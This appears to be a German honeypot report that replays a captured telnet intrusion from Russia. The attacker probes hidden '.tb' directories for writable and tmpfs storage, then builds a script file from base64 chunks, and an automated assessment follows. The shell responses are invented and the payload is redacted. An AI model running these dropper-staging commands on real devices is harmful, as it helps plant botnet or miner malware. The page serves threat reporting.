ALLSmartSecurity
Mitschnitt

Telnet-Angriff aus Russland: 53 Befehle

02.11.2026, 02:04 UTC · 53 Befehle · über telnet · Russland

Überblick

Dienst
telnet (Port 23)
Herkunft
Russland · Proton66 OOO
Probierte Zugangsdaten
root / admin

Der Angriff, nachgespielt

echter Mitschnitt unserer Fake-Shell; die Antworten sind erfunden, ausgeführt wurde nie etwas
root@srv01: ~

root@srv01:~$ echo TBSb8fb8f
TBSb8fb8f
root@srv01:~$ c=/root/.tb
root@srv01:~$ mkdir -p $c 2>/dev/null && : > $c/.w 2>/dev/null && { df -P $c 2>/dev/null | tail -1 | grep -q tmpfs && echo TBTMP:$c || echo TBOK:$c; } || echo TBF:$c
root@srv01:~$ c=/opt/.tb
root@srv01:~$ mkdir -p $c 2>/dev/null && : > $c/.w 2>/dev/null && { df -P $c 2>/dev/null | tail -1 | grep -q tmpfs && echo TBTMP:$c || echo TBOK:$c; } || echo TBF:$c
TBTMP:/opt/.tb
TBOK:/opt/.tb
TBF:/opt/.tb
root@srv01:~$ c=/usr/local/.tb
root@srv01:~$ mkdir -p $c 2>/dev/null && : > $c/.w 2>/dev/null && { df -P $c 2>/dev/null | tail -1 | grep -q tmpfs && echo TBTMP:$c || echo TBOK:$c; } || echo TBF:$c
TBTMP:/usr/local/.tb
TBOK:/usr/local/.tb
TBF:/usr/local/.tb
root@srv01:~$ c=/data/.tb
root@srv01:~$ mkdir -p $c 2>/dev/null && : > $c/.w 2>/dev/null && { df -P $c 2>/dev/null | tail -1 | grep -q tmpfs && echo TBTMP:$c || echo TBOK:$c; } || echo TBF:$c
TBTMP:/data/.tb
TBOK:/data/.tb
TBF:/data/.tb
root@srv01:~$ c=/mnt/mtd/.tb
root@srv01:~$ mkdir -p $c 2>/dev/null && : > $c/.w 2>/dev/null && { df -P $c 2>/dev/null | tail -1 | grep -q tmpfs && echo TBTMP:$c || echo TBOK:$c; } || echo TBF:$c
TBTMP:/mnt/mtd/.tb
TBOK:/mnt/mtd/.tb
TBF:/mnt/mtd/.tb
root@srv01:~$ c=/var/tmp/.tb
root@srv01:~$ mkdir -p $c 2>/dev/null && : > $c/.w 2>/dev/null && { df -P $c 2>/dev/null | tail -1 | grep -q tmpfs && echo TBTMP:$c || echo TBOK:$c; } || echo TBF:$c
TBTMP:/var/tmp/.tb
TBOK:/var/tmp/.tb
TBF:/var/tmp/.tb
root@srv01:~$ c=/etc/.tb
root@srv01:~$ mkdir -p $c 2>/dev/null && : > $c/.w 2>/dev/null && { df -P $c 2>/dev/null | tail -1 | grep -q tmpfs && echo TBTMP:$c || echo TBOK:$c; } || echo TBF:$c
TBTMP:/etc/.tb
TBOK:/etc/.tb
TBF:/etc/.tb
root@srv01:~$ c=${HOME:-/root}/.tb
root@srv01:~$ mkdir -p $c 2>/dev/null && : > $c/.w 2>/dev/null && { df -P $c 2>/dev/null | tail -1 | grep -q tmpfs && echo TBTMP:$c || echo TBOK:$c; } || echo TBF:$c
TBTMP:/etc/.tb
TBOK:/etc/.tb
TBF:/etc/.tb
root@srv01:~$ c=/tmp/.tb
root@srv01:~$ mkdir -p $c 2>/dev/null && : > $c/.w 2>/dev/null && { df -P $c 2>/dev/null | tail -1 | grep -q tmpfs && echo TBTMP:$c || echo TBOK:$c; } || echo TBF:$c
root@srv01:~$ c=/var/tmp/.tb
root@srv01:~$ mkdir -p $c 2>/dev/null && : > $c/.w 2>/dev/null && { df -P $c 2>/dev/null | tail -1 | grep -q tmpfs && echo TBTMP:$c || echo TBOK:$c; } || echo TBF:$c
root@srv01:~$ c=/dev/shm/.tb
root@srv01:~$ mkdir -p $c 2>/dev/null && : > $c/.w 2>/dev/null && { df -P $c 2>/dev/null | tail -1 | grep -q tmpfs && echo TBTMP:$c || echo TBOK:$c; } || echo TBF:$c
root@srv01:~$ c=/tmp/tb
root@srv01:~$ mkdir -p $c 2>/dev/null && : > $c/.w 2>/dev/null && { df -P $c 2>/dev/null | tail -1 | grep -q tmpfs && echo TBTMP:$c || echo TBOK:$c; } || echo TBF:$c
root@srv01:~$ mkdir -p /tmp/.tb
root@srv01:~$ cd /tmp/.tb
root@srv01:~$ : > 1f9c5bca.sh
root@srv01:~$ echo [Token] | base64 -d >> 1f9c5bca.sh
root@srv01:~$ echo __K
root@srv01:~$ echo [Token] | base64 -d >> 1f9c5bca.sh
root@srv01:~$ echo __K
root@srv01:~$ echo [Token] | base64 -d >> 1f9c5bca.sh
root@srv01:~$ echo __K
root@srv01:~$ echo [Token] | base64 -d >> 1f9c5bca.sh
root@srv01:~$ echo __K
root@srv01:~$ echo [Token] | base64 -d >> 1f9c5bca.sh
root@srv01:~$ echo __K
root@srv01:~$ echo [Token] | base64 -d >> 1f9c5bca.sh

Was hier passiert ist

automatisch erstellte Einschätzung, keine Gewähr

Was versucht wurde

Der Angreifer verbindet sich über Telnet mit Standardzugangsdaten als Root. Er führt eine Reihe von Skripten aus, die verschiedene Verzeichnisse auf Schreibbarkeit und Dateisystemtyp prüfen. Anschließend wird ein Base64-kodiertes Payload in eine Datei geschrieben.

Was die Befehle bewirken

Die Kommandos erstellen versteckte Verzeichnisse unter .tb in verschiedenen Pfaden. Sie testen mit df und grep, ob das Dateisystem tmpfs ist, um RAM-basierte Speicherorte zu identifizieren. Das echo schreibt eine Base64-kodierte Shell-Skript-Datei, die einen Miner starten soll. Die Ausgabe TBTMP oder TBOK signalisiert dem Angreifer die Eignung des Speicherorts.

Worauf es hinauslief

Das Ziel ist die Persistenz und Vorbereitung eines Botnetzes oder Kryptominers. Die Prüfung auf tmpfs deutet auf Geräte mit flüchtigem Speicher hin, typisch für IoT-Geräte. Das Base64-Payload enthält Hinweise auf einen Miner, der in /tmp ausgeführt werden soll.

Einordnung

Dies ist ein typischer automatisierter Angriff auf IoT-Geräte mit schwachen Passwörtern. Die Nutzung von Telnet und die spezifische Pfadprüfung sind charakteristisch für bekannte Botnet-Familien.